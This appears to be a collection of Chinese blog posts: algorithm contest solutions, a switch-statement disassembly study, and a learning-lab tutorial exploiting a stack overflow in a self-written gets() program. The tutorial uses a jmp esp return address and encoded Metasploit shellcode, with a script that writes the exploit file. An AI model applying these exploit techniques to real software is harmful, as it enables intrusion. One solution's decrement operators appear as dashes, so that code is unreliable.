            if(cnt[1]>ans) ans=cnt[1];
        }
        printf("%d\n",ans);
    }
    return 0;
}

莫队算法专题

把几道莫队算法的题集中写一下
HYSBZ 2038 小Z的袜子
经典的莫队算法

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
typedef long long ll;
const int maxn=50000+10;
int n,m;
ll a[maxn],cnt[maxn];
typedef struct Query{
    ll l,r,num,ans1,ans2;
}Query;
Query q[maxn];
ll ans[maxn][2];
ll ret,len;
int gcd(ll a,ll b)
{
    if(a<b) {a^=b;b^=a;a^=b;}
    return b==0?a:gcd(b,a%b);
}
bool cmp(Query a,Query b)
{
    if(a.l/len==b.l/len) return a.r<b.r;
    return a.l<b.l;
}
void add(int x)
{
    ret-=cnt[a[x]]*(cnt[a[x]]-1);
    cnt[a[x]]++;
    ret+=cnt[a[x]]*(cnt[a[x]]-1);
    return;
}
void del(int x)
{
    ret-=cnt[a[x]]*(cnt[a[x]]-1);
    cnt[a[x]]--;
    ret+=cnt[a[x]]*(cnt[a[x]]-1);
    return;
}
void cal(ll l1,ll r1,ll l2,ll r2)
{
    while(r1<r2) {r1++;add(r1);}
    while(r1>r2) {del(r1);r1--;}
    while(l1<l2) {del(l1);l1++;}
    while(l1>l2) {l1--;add(l1);}
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d%d",&n,&m))
    {
        for(i=1;i<=n;i++) scanf("%d",&a[i]);
        for(i=1;i<=m;i++)
        {
            scanf("%d%d",&q[i].l,&q[i].r);
            q[i].num=i;
        }
        len=(ll)sqrt(n*1.0);
        sort(q+1,q+1+m,cmp);

        ret=0;memset(cnt,0,sizeof(cnt));
        q[0].l=1;q[0].r=0;
        for(i=1;i<=m;i++)
        {
            ll l=q[i].l,r=q[i].r;
            cal(q[i-1].l,q[i-1].r,l,r);
            ll tmp=gcd(ret,(r-l+1)*(r-l));
            q[i].ans1=ret/tmp;q[i].ans2=(r-l+1)*(r-l)/tmp;
        }
        for(i=1;i<=m;i++)
        {
            int id=q[i].num;
            ans[id][0]=q[i].ans1;
            ans[id][1]=(q[i].ans1==0?1:q[i].ans2);
        }
        for(i=1;i<=m;i++) printf("%lld/%lld\n",ans[i][0],ans[i][1]);
    }
    return 0;
}

NBUT 1457 Sona
先把数据映射为1~n。
转移必须为O(1),总复杂度O(n^1.5lgn)会超时。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
#include<map>
using namespace std;
typedef long long ll;
const int maxn=100000+10;
int n,m;
int a[maxn];
map<int,int> num;
typedef struct Query{
    int l,r,id;
}Query;
Query q[maxn];
int len;
ll ret;
ll cnt[maxn];
ll ans[maxn];
bool cmp(Query a,Query b)
{
    if(a.l/len==b.l/len) return a.r<b.r;
    return a.l<b.l;
}
void add(int x)
{
    ll &y=cnt[a[x]];
    ret-=y*y*y;
    y++;
    ret+=y*y*y;
    return;
}
void del(int x)
{
    ll &y=cnt[a[x]];
    ret-=y*y*y;
    y--;
    ret+=y*y*y;
    return;
}
void cal(int l1,int r1,int l2,int r2)
{
    while(r1<r2) {r1++;add(r1);}
    while(r1>r2) {del(r1);r1--;}
    while(l1<l2) {del(l1);l1++;}
    while(l1>l2) {l1--;add(l1);}
    return;
}
void scan(int &num)    //对G++使用
{
    char in;
    bool neg=false;
    while(((in=getchar()) > '9' || in<'0') && in!='-') ;
    if(in=='-')
    {
        neg=true;
        while((in=getchar()) >'9' || in<'0');
    }
    num=in-'0';
    while(in=getchar(),in>='0'&&in<='9')
        num*=10,num+=in-'0';
    if(neg)
        num=0-num;
}
int main()
{
    int i,j;
    while(~scanf("%d",&n))
    {
        for(i=1;i<=n;i++) scan(a[i]);
        scanf("%d",&m);
        for(i=1;i<=m;i++)
        {
            scan(q[i].l);scan(q[i].r);
            q[i].id=i;
        }
        len=(int)sqrt(n*1.0);
        sort(q+1,q+1+m,cmp);
        if(!num.empty()) num.clear();
        int iq=0;
        for(i=1;i<=n;i++)
        {
            if(num.find(a[i])==num.end()) num[a[i]]=++iq;
        }
        for(i=1;i<=n;i++) a[i]=num[a[i]];
        ret=0;q[0].l=1;q[0].r=0;
        memset(cnt,0,sizeof(cnt));
        for(i=1;i<=m;i++)
        {
            cal(q[i-1].l,q[i-1].r,q[i].l,q[i].r);
            ans[q[i].id]=ret;
        }
        for(i=1;i<=m;i++) printf("%I64d\n",ans[i]);
    }
    return 0;
}

hdoj搜索题集

n久没刷题了,感觉水平退化太多了。。今天开始刷题。
把hdoj以前没做的搜索题做一下
hdu1072 简单题
我的思路:出发点和可重置时间的点没有必要访问两次,其他点可以重复访问。这样不会导致bfs一直进行下去。
其他思路:对于这种点可以重复访问的题,bfs入队时不仅要考虑坐标,还要考虑剩余时间,如果同一个点第二次入队时剩余时间比第一次大于或等于,那么不需要入队,没有意义。

#include<stdio.h>
#include<string.h>
const int maxq=1000000;
int n,m;
int map[9][9];
int vis[9][9];
typedef struct Node{
    int x,y,t,step;
}Node;
Node q[maxq];
int iq;
int dirx[]={0,1,-1,0,0};
int diry[]={0,0,0,1,-1};
int sx,sy,tx,ty,x,y,tt,step;
bool judge(int x,int y)
{
    if(1<=x && x<=n && 1<=y && y<=m) return 1;
    return 0;
}
int bfs()
{
    int i,j;
    iq=0;memset(vis,0,sizeof(vis));
    q[iq].x=sx;q[iq].y=sy;q[iq].t=6;q[iq].step=0;
    iq++;vis[sx][sy]=1;
    for(i=0;i<=iq-1;i++)
    {
        x=q[i].x;y=q[i].y;tt=q[i].t;step=q[i].step;
        if(tt==1) continue;
        for(j=1;j<=4;j++)
        {
            int u=x+dirx[j],v=y+diry[j];
            if(map[u][v]==3) return step+1;
            if(!judge(u,v) || vis[u][v] || map[u][v]==0) continue;
            if(map[u][v]==4) vis[u][v]=1;
            q[iq].x=u;q[iq].y=v;q[iq].t=tt-1;q[iq].step=step+1;
            if(map[u][v]==4) q[iq].t=6;
            iq++;
        }
    }
    return -1;
}
int main()
{
    int i,j;
    int t;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d%d",&n,&m);
        for(i=1;i<=n;i++)
            for(j=1;j<=m;j++)
            {
                scanf("%d",&map[i][j]);
                if(map[i][j]==2) sx=i,sy=j;
                if(map[i][j]==3) tx=i,ty=j;
            }
        printf("%d\n",bfs());
    }
    return 0;
}

hdu1026 简单题
如果答案是1 second,仍然输出1 seconds哦

#include<stdio.h>
#include<string.h>
const int maxq=100000+10;
int n,m;
char map[110][110];
bool vis[110][110];
typedef struct Node{
    int x,y,t,tt;
    int pre;
}Node;
Node q[maxq];
int iq;
int a[]={0,1,-1,0,0};
int b[]={0,0,0,1,-1};
bool judge(int x,int y)
{
    if(1<=x && x<=n && 1<=y && y<=m) return 1;
    return 0;
}
int bfs()
{
    int i,j;
    iq=0;memset(vis,0,sizeof(vis));
    q[iq].x=1;q[iq].y=1;q[iq].t=0;q[iq].pre=-1;
    iq++;
    vis[1][1]=1;
    for(i=0;i<=iq-1;i++)
    {
        int x=q[i].x,y=q[i].y,t=q[i].t,tt=q[i].tt;
        if(x==n && y==m)
        {
            if('1'<=map[n][m] && map[n][m]<='9')
            {
                if(!tt) return i;
            }
            else return i;
        }
        if('1'<=map[x][y] && map[x][y]<='9' && tt)
        {
            q[iq].x=x;q[iq].y=y;q[iq].t=t+1;q[iq].tt=tt-1;
            q[iq++].pre=i;
            continue;
        }
        for(j=1;j<=4;j++)
        {
            int u=x+a[j],v=y+b[j];
            if(!judge(u,v) || vis[u][v] || map[u][v]=='X') continue;
            q[iq].x=u;q[iq].y=v;q[iq].t=t+1;q[iq].tt=map[u][v]-'0';
            q[iq++].pre=i;
            vis[u][v]=1;
        }
    }
    return -1;
}
void dfs(int cur)
{
    int x=q[cur].x,y=q[cur].y,t=q[cur].t,pre=q[cur].pre;
    int px=q[pre].x,py=q[pre].y;
    if(px==1 && py==1)
    {
        printf("%ds:(%d,%d)->(%d,%d)\n",t,px-1,py-1,x-1,y-1);
        return;
    }
    dfs(pre);
    if(px==x && py==y) printf("%ds:FIGHT AT (%d,%d)\n",t,x-1,y-1);
    else printf("%ds:(%d,%d)->(%d,%d)\n",t,px-1,py-1,x-1,y-1);
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d%d",&n,&m))
    {
        getchar();
        for(i=1;i<=n;i++)
        {
            for(j=1;j<=m;j++)
                scanf("%c",&map[i][j]);
            getchar();
        }
        int ans=bfs();
        if(ans==-1) {printf("God please help our poor hero.\nFINISH\n");continue;}
        printf("It takes %d seconds to reach the target position, let me show you the way.\n",q[ans].t);
        dfs(ans);
        printf("FINISH\n");

    }

    return 0;
}

hdu 5213——莫队算法

题目大意是给出n个自然数a[],1<=a[i]<=n,给出m个询问l1,r1,l2,r2.再给出k,问第一个数在[l1,r1],第二个数在[l2,r2],且两个数加起来等于k。这样的数有多少对。n,m都是<=30000
这题需要莫队算法。设ans[l,r]表示[l,r]之间有多少对这样的数。则答案=ans[l1,r2]-ans[l1,l2-1]-ans[r1+1,r2]+ans[r1+1,l2-1]
也就是说把每个询问分解成四个莫队算法那类题的四个询问,然后分块解决。
时间复杂度:n^1.5

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
const int maxn=30000+10;
int n,k,m;
int a[maxn],ans[maxn][5];
typedef struct Query{
    int id,num;
    int g,l,r;
}Query;
Query q[maxn<<2];
int iq;
int cnt[maxn],ret;
bool cmp(Query a,Query b)
{
    if(a.g==b.g) return a.r<b.r;
    return a.g<b.g;
}
int index(int x)
{
    return x<0?30001:x;
}
void cal(int l1,int r1,int l2,int r2)
{
    while(l1<l2) {ret-=cnt[index(k-a[l1])];cnt[a[l1]]–;l1++;}
    while(l1>l2) {l1–;ret+=cnt[index(k-a[l1])];cnt[a[l1]]++;}
    while(r1<r2) {r1++;ret+=cnt[index(k-a[r1])];cnt[a[r1]]++;}
    while(r1>r2) {ret-=cnt[index(k-a[r1])];cnt[a[r1]]–;r1–;}
    return;
}
int main()
{
    int i,j;
    int l1,r1,l2,r2;
    cnt[30001]=0;
    while(~scanf("%d",&n))
    {
        iq=0;
        memset(cnt,0,sizeof(cnt));
        scanf("%d",&k);
        for(i=1;i<=n;i++) scanf("%d",&a[i]);
        scanf("%d",&m);
        for(i=1;i<=m;i++)
        {
            scanf("%d%d%d%d",&l1,&r1,&l2,&r2);
            q[++iq].id=i;q[iq].num=1;q[iq].l=l1;q[iq].r=r2;
            q[++iq].id=i;q[iq].num=2;q[iq].l=l1;q[iq].r=l2-1;
            q[++iq].id=i;q[iq].num=3;q[iq].l=r1+1;q[iq].r=r2;
            q[++iq].id=i;q[iq].num=4;q[iq].l=r1+1;q[iq].r=l2-1;
        }
        int len=(int)sqrt(n*1.0);
        for(i=1;i<=iq;i++) q[i].g=q[i].l/len;
        sort(q+1,q+1+iq,cmp);

        q[0].l=1;q[0].r=1;cnt[a[1]]=1;
        ret=0;
        for(i=1;i<=iq;i++)
        {
            cal(q[i-1].l,q[i-1].r,q[i].l,q[i].r);
            ans[q[i].id][q[i].num]=ret;
        }
        for(i=1;i<=m;i++)
            printf("%d\n",ans[i][1]-ans[i][2]-ans[i][3]+ans[i][4]);
    }
    return 0;
}

用metasploit framework制作shellcode

这几天在学缓冲区溢出的一些东西,缓冲区溢出和shellcode是一个非常令人着迷的领域。这几天的学习算是入了一下门。今天来测试一下metasploit framework这个平台里面的payload,也就是shellcode。

metasploit是个神奇的渗透测试平台,是白帽子和黑帽子的神器,具体有多神,请参见相关书籍。。

由于对web攻击一窍不通,所以目前对于msf(metasploit framework),我对它的了解仅仅是知道里面有很多好用的exploit和shellcode。

0×00

好了,废话不多说,先来构造一个有缓冲区溢出漏洞的代码,如下

#include<stdio.h>
#include<string.h>
void overflowf()
{
	char buff[64];
	gets(buff);
	return;
}
int main()
{
	int i;
	char tmp[1024];
	for(i=0;i<=1022;i++) tmp[i]='a';
	tmp[1023]=0;
	printf("%s\n",tmp);
	overflowf();
	return 0;
}

gets没有对输入字串的长度进行检查,导致缓冲区溢出。我们可以通过构造精巧的输入字符串来获得执行控制权。

0×01

获得执行控制权的关键在于控制eip的值,因此我们要覆盖函数返回地址。这样,在函数retn时,我们填入的地址会pop到eip。所以我们用od来观察overflowf()函数的代码。

可以看到,buff首地址距离返回地址0×40(即64)个字节(这里不太清楚的读者可能要好好复习一下函数调用约定的一些姿势),所以我们可以先填充64个垃圾数据(一般用0×90(nop)),但是注意不能有‘\n’和’\0′,因为gets遇到它们就结束读取了。然后跟一个返回地址,那么这个地址应该是什么呢,”当然是我们的shellcode的首地址。这样,函数返回时才能执行我们植入的shellcode嘛”,有的童鞋可能会这样认为,事实上思路没错,但是由于堆栈段在内存是浮动的,程序这次加载和下次加载很可能堆栈段在不同内存地址,如果我们直接在返回地址处填入shellcode的绝对地址,那下次很可能无法无法命中shellcode首地址。

0×02

那么返回地址处到底该填什么呢,这里有一个小技巧。我们可以在内存最高区域搜索jmp esp这样的指令,把它的地址填入返回地址处。

对于一个确定的系统,如xpsp2,0x7f6f0000的几个段基本上在内存中地址是固定的,

ffe4是jmp esp的机器码

so,我们可以先返回到这个jmp esp处,由于执行jmp esp时esp正好指向返回地址的后面一个栈帧,所以我们可以把shellcode放在返回地址之后。这样我们就解决了定位shellcode的问题。

0×03

现在,我们已经知道了如何把程序执行权转到我们手里,我们还缺一份不错的shellcode。让我们把目光转向metasploit framework,我们开始选择一个合适的shellcode。由于我们只是测试,可以让程序弹出一个消息框。选择message这个payload。

可以看到有许多选项可以配置,msf的强大之处就在于把本来要用汇编来写的shellcode变成了easy的填空题。

比较重要的是encoder这个选项,我们可以选择一种方式把我们的shellcode加密。这样做有几个好处

1.可以逃过一些防护程序的查杀。

2.在这个例子中,这个shellcode含有’\n’,这会导致无法完全写入shellcode,而加密之后可以消除’\n’。

填空完完成后我们就可以点击Generate生成一份shellcode了,选择c文件方式生成,shellcode如下

unsigned char buf[] = 
"\xeb\x65\x5e\x31\xed\x83\xe1\x01\x83\xe3\x01\x66\xbb\x5f\xbd"
"\x66\x81\xf3\xfe\xbc\x89\xf7\x83\xe0\x7f\xac\xb1\x08\x80\xf9"
"\x06\x74\x23\x60\x83\xe9\x01\x74\x06\xb3\x02\xf6\xf3\xe2\xfc"
"\x83\xe0\x01\x6b\x2f\x02\x09\xe8\xaa\x61\x83\xed\xff\x83\xfd"
"\x08\x75\x05\x83\xef\xff\x31\xed\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\xe2\xbc\x83\xeb\x01\x74\x07\xeb\xaf\xe8\x96"
"\xff\xff\xff\xec\xfa\xf3\x7d\xab\xb0\xa9\xf4\x38\xf4\xb6\x67"
"\x79\xa7\x32\xe4\xa5\xbc\x66\x28\xbb\xb8\x39\x2b\x7b\x27\x31"
"\x74\x70\x62\x36\xfe\x30\x62\xe6\xe3\xa2\x7c\x70\xf5\xf9\xb6"
"\x60\x3d\x2f\xff\xa2\xe0\xa5\xbb\x24\xa2\x64\x6d\x2a\x7c\xa5"
"\xb5\x25\x27\xa0\x27\xb5\x2b\x65\x26\x31\x75\xb1\x20\x23\xeb"
"\xf1\xad\x29\x38\xb9\xb2\x36\x21\xf7\x2c\x7f\xf3\x2e\x23\xf9"
"\x6c\xa2\x70\x2e\xa0\x7e\x27\x3e\x2d\x20\xf1\xfd\x7f\x61\xed"
"\xf8\x64\x34\x3d\x7c\x38\xba\xe8\xa8\x21\xf5\xb9\xb1\x70\xe2"
"\x6e\x36\xba\x2e\x20\x7d\x78\xb8\x32\x36\x21\xf4\x62\x68\xa2"
"\x60\xf1\xa3\xa3\xb9\x22\x25\x3d\x64\x67\xab\x29\xe1\x3a\x31"
"\xe4\xf0\x7b\xb8\xb2\xf4\x67\xff\xff\xff\xfe\x32\xa5\x22\x6e"
"\xef\xed\xa7\x29\xe7\x27\x2e\x29\x2a\x6e\xa4\x7b\xff\xff\xff"
"\xe2\x68\xb0\xa3\x61\xb8\xec\x30\x30\x6d\x23\x39\xa8\xbc\xe4"
"\x74\x3d\x6e\x76\x6b\xaa\x30\xbc\x32\x22\xb1\x3e\x72\xbb\xfe"
"\xb5\x22\x62\x78\x65\x25\xee\xb1\x62\x66\xef\x30\xf1\xe1\x31"
"\x65\xe8\x70\xff\xff\xff\xfb\x61\xbe\xf8\x6c\x28\x2d\x26\x2b"
"\x3d\xaa\xa2\x74\x33\x6c\xb7\x3b\xac\xe3\xbb\xa4\x37\x24\xa0"
"\xb4\x67\xa6\xe8\x6c\x28\x24\x22\x23\x61\x3a\xb3\x63\x28\x6d"
"\x27\x33\x7d\xba\x60\x74\x3b\xe5\xa2\x23\x39\xb0\xa8\x72\xbb"
"\x2d\xa3\x2e\x66\x30\xac\x32\x24\x31\x3e\x29\xa7\x64\xb2\x69"
"\xb4\x6a\x6f\xfe\xa0\xe3\xa0\x68\x7f\xea\xb0\xa0";

0×04

好,我们已经可以写出完整的exploit了,写一段c代码把完整的exploit写入文件shellcode

#include<stdio.h>
#include<string.h>
unsigned char buf[] = 
"\xeb\x65\x5e\x31\xed\x83\xe1\x01\x83\xe3\x01\x66\xbb\x5f\xbd"
"\x66\x81\xf3\xfe\xbc\x89\xf7\x83\xe0\x7f\xac\xb1\x08\x80\xf9"
"\x06\x74\x23\x60\x83\xe9\x01\x74\x06\xb3\x02\xf6\xf3\xe2\xfc"
"\x83\xe0\x01\x6b\x2f\x02\x09\xe8\xaa\x61\x83\xed\xff\x83\xfd"
"\x08\x75\x05\x83\xef\xff\x31\xed\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\xe2\xbc\x83\xeb\x01\x74\x07\xeb\xaf\xe8\x96"
"\xff\xff\xff\xec\xfa\xf3\x7d\xab\xb0\xa9\xf4\x38\xf4\xb6\x67"
"\x79\xa7\x32\xe4\xa5\xbc\x66\x28\xbb\xb8\x39\x2b\x7b\x27\x31"
"\x74\x70\x62\x36\xfe\x30\x62\xe6\xe3\xa2\x7c\x70\xf5\xf9\xb6"
"\x60\x3d\x2f\xff\xa2\xe0\xa5\xbb\x24\xa2\x64\x6d\x2a\x7c\xa5"
"\xb5\x25\x27\xa0\x27\xb5\x2b\x65\x26\x31\x75\xb1\x20\x23\xeb"
"\xf1\xad\x29\x38\xb9\xb2\x36\x21\xf7\x2c\x7f\xf3\x2e\x23\xf9"
"\x6c\xa2\x70\x2e\xa0\x7e\x27\x3e\x2d\x20\xf1\xfd\x7f\x61\xed"
"\xf8\x64\x34\x3d\x7c\x38\xba\xe8\xa8\x21\xf5\xb9\xb1\x70\xe2"
"\x6e\x36\xba\x2e\x20\x7d\x78\xb8\x32\x36\x21\xf4\x62\x68\xa2"
"\x60\xf1\xa3\xa3\xb9\x22\x25\x3d\x64\x67\xab\x29\xe1\x3a\x31"
"\xe4\xf0\x7b\xb8\xb2\xf4\x67\xff\xff\xff\xfe\x32\xa5\x22\x6e"
"\xef\xed\xa7\x29\xe7\x27\x2e\x29\x2a\x6e\xa4\x7b\xff\xff\xff"
"\xe2\x68\xb0\xa3\x61\xb8\xec\x30\x30\x6d\x23\x39\xa8\xbc\xe4"
"\x74\x3d\x6e\x76\x6b\xaa\x30\xbc\x32\x22\xb1\x3e\x72\xbb\xfe"
"\xb5\x22\x62\x78\x65\x25\xee\xb1\x62\x66\xef\x30\xf1\xe1\x31"
"\x65\xe8\x70\xff\xff\xff\xfb\x61\xbe\xf8\x6c\x28\x2d\x26\x2b"
"\x3d\xaa\xa2\x74\x33\x6c\xb7\x3b\xac\xe3\xbb\xa4\x37\x24\xa0"
"\xb4\x67\xa6\xe8\x6c\x28\x24\x22\x23\x61\x3a\xb3\x63\x28\x6d"
"\x27\x33\x7d\xba\x60\x74\x3b\xe5\xa2\x23\x39\xb0\xa8\x72\xbb"
"\x2d\xa3\x2e\x66\x30\xac\x32\x24\x31\x3e\x29\xa7\x64\xb2\x69"
"\xb4\x6a\x6f\xfe\xa0\xe3\xa0\x68\x7f\xea\xb0\xa0";
int main()
{
	int i;
	freopen("E:\\c++ source\\shellcode\\Release\\shellcode","w",stdout);
	for(i=1;i<=64;i++) printf("%c",0x90);
	printf("%c",0x12);
	printf("%c",0x45);
	printf("%c",0xfa);
	printf("%c",0x7f);
	printf("%s",buf);
	return 0;
}

现在,我们可以测试一下效果了。

ok,成功的执行了我们的shellcode,弹出了一个messagebox

0×05

过程中遇到的一些问题与总结:

0.忘记了cmd的管道命令可以把文件作为程序的输入。。

1.shellcode中有’\n’,导致植入失败

2.开始写的gets.exe程序只有一个buff缓冲区,然后shellcode太长导致撑满了整个堆栈区,结果gets函数在执行过程中就异常退出了,overflowf也就没有返回,导致shellcode没有执行(这点只是猜测)

3.为什么我要在gets.exe里面加上一个tmp缓冲区并打印?参见第2点

4.为什么不自己写shellcode?

因为我比较菜,这个任务留到下次,shellcode里面调api要通过teb->peb->dll的导出表。还是比较烦的

shellcode编写入门

1.由于栈地址是浮动的,所以覆盖返回地址时不能直接用shellcode的绝对地址

2.可以利用dll里面的jmp esp指令,由于函数返回后,esp指向返回地址后面的地址,所以返回地址填入jmp esp指令的地址,这样当函数返回时会执行jmp esp,这时如果esp所指地址是shellcode,shellcode就能得到执行。

3.将shellcode放在返回地址之后会大规模破父函数的栈帧,不利于执行完shellcode之后的恢复,所以要把shellcode放在溢出的缓冲区首地址处。而在返回地址后仅仅只放shellcode的头,也就是类似jmp esp-xxx这样的指令

4.3的做法会带来一个坏处,那就是shellcode所在栈区是垃圾区域,esp指向返回地址后面。这样如果shellcode里面有压栈指令,很可能覆盖掉shellcode本身。

5.由于4的原因我们在shellcode开始时要抬高栈顶,至少将esp减到比buff首地址小,这样压栈操作就不会覆盖shellcode代码本身

6.对于像strcat(“路径”,buff)这样的溢出漏洞,由于路径长度在不同机器上很可能不同,所以导致buff首地址(这里指的是buff内容copy到”路径”后面的那个地址)不同,这样我们在本地测试的exploit,很可能因为返回地址覆盖错误而失效。

7.6的解决:可以这样,将shellcode放入堆中,其首地址为按字节循环(例如0x0c0c0c0c),这样在返回地址所在栈帧附近大量填充0c0c0c0c0c0c0c0c……,这样的话,即使错位,返回地址还是覆盖成了0x0c0c0c0c。至于怎样实现shellcode放入堆区。。。。你问我,我怎么知道。。我目前还没学。。

吊炸天的switch-case语句

来看下面一段代码

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	default:
		printf("this is 3\n");
	
	
	}
	return 0;
}

它的反汇编代码

text:00401017                 sub     eax, 0
.text:0040101A                 jz      short loc_401055
.text:0040101C                 dec     eax
.text:0040101D                 jz      short loc_401044
.text:0040101F                 dec     eax
.text:00401020                 jz      short loc_401033
.text:00401022                 push    offset aThisIs3 ; "this is 3\n"
.text:00401027                 call    sub_401070
.text:0040102C                 add     esp, 4
.text:0040102F                 xor     eax, eax
.text:00401031                 pop     ecx
.text:00401032                 retn

eax里面存的是变量xh

可以发现用减法代替了cmp,进行了优化

对源代码稍作修改,增加一个case

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	case 3:
		printf("this is 3\n");
	default:
		printf("this is 4\n");
	
	
	}
	return 0;
}

它的反汇编代码

1017                 cmp     eax, 3          ; switch 4 cases
.text:0040101A                 ja      short loc_401063 ; jumptable 0040101C default case
.text:0040101C                 jmp     ds:off_401074[eax*4] ; switch jump

其中地址0×401074处的数据

.text:00401074 off_401074      dd offset loc_401023    ; DATA XREF: _main+1Cr
.text:00401074                 dd offset loc_401034    ; jump table for switch statement
.text:00401074                 dd offset loc_401045
.text:00401074                 dd offset loc_401056

分别是4个分支指令块的地址
可以发现用了一个跳转表来优化代码,实际上这是hash算法(不明白?想想计数排序是怎么样的)

 

继续修改

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	case 254:
		printf("this is 3\n");
	default:
		printf("this is 4\n");
	
	
	}
	return 0;
}

来看它的反汇编代码:

.text:00401017                 cmp     eax, 0FEh       ; switch 255 cases
.text:0040101C                 ja      short loc_40106D ; jumptable 00401026 default case
.text:0040101E                 xor     ecx, ecx
.text:00401020                 mov     cl, ds:byte_401094[eax]
.text:00401026                 jmp     ds:off_401080[ecx*4] ; switch jump

碉堡,这回编译器用两个表来实现switch,先来看地址0×401094处的表

.text:00401094 byte_401094     db 0, 1, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                                         ; DATA XREF: _main+20r
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4 ; indirect table for switch statement
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
.text:00401094                 db 4, 4, 3

可以看到,这个字符数组里面只有0,1,2,3,4.其实这几个数字正好对应了5个分支
再来看0×401080处的数据

.text:00401080 off_401080      dd offset loc_40102D, offset loc_40103E, offset loc_40104F
.text:00401080                                         ; DATA XREF: _main+26r
.text:00401080                 dd offset loc_401060, offset loc_40106D ; jump table for switch statement

这个数组和上面那个例子中的表一样,都是不同分支的代码处的地址

所以,联系起来可以发现,实际上这种情况下,编译器是用两次hash的方式进行优化的,由于0,1,2和254相差很大,如果只采用一个跳转表的话势必会浪费空间,因为这个表大小是256*4byte.而实际只有5个dword是真正起作用的。那么如果用两个表(或者说数组)呢?
首先第一个数组是字符数组hash[255],hash[i]的值是分支的编号,第二个数组ad[]是双字数组,ad[hash[i]]表示编号为hash[i]的分支的地址。那么所需空间为256*1byte+5*4byte。看,空间降下来了。

看到这里,读者可能意识到一个问题,第一个数组是byte型的,那要是代码中实际分支数超过256呢?显然,这时编译器不会再采用这种两个跳转表的方式

再来思考一个问题:如果case还是很少,但是case间的差值真的太大呢?也就是假如有case 10000这种情况,难道要开辟一个10002*1byte的数组?

显然写编译器的程序员不会这么豆逼嘛。。

继续修改上面的代码
(实在不好意思,突然发现上面的代码里面少打了一个break;。。。)

#include<stdio.h>
int main()
{
	int xh;
	scanf("%d",&xh);
	switch(xh)
	{
	case 0:
		printf("this is 0\n");
		break;
	case 1:
		printf("this is 1\n");
		break;
	case 2:
		printf("this is 2\n");
		break;
	case 10000:
		printf("this is 3\n");
		break;
	default:
		printf("this is 4\n");
	}
	return 0;
}

相应的反汇编代码:

.text:00401017                 cmp     eax, 800
.text:0040101C                 jg      short loc_40105E
.text:0040101E                 jz      short loc_40104D
.text:00401020                 test    eax, eax
.text:00401022                 jz      short loc_40103C
.text:00401024                 cmp     eax, 200
.text:00401029                 jnz     short loc_401065
.text:0040102B                 push    offset aThisIs1 ; "this is 1\n"
.text:00401030                 call    sub_401090
.text:00401035                 add     esp, 4
.text:00401038                 xor     eax, eax
.text:0040103A                 pop     ecx
.text:0040103B                 retn

上面代码中不含各分支具体处理的代码
这样好像看不出啥,我们把比较过程化成树的形式来直观的感受

可见,是一颗二叉树,如果继续修改源代码,结果应当是差不多的,得到的二叉树近似是平衡的,这样查找的时间复杂度是O(logn)
也就是说,当各个case的差值很大且case数较多时,编译器是用平衡二叉树来优化的,这样时间效率还是很高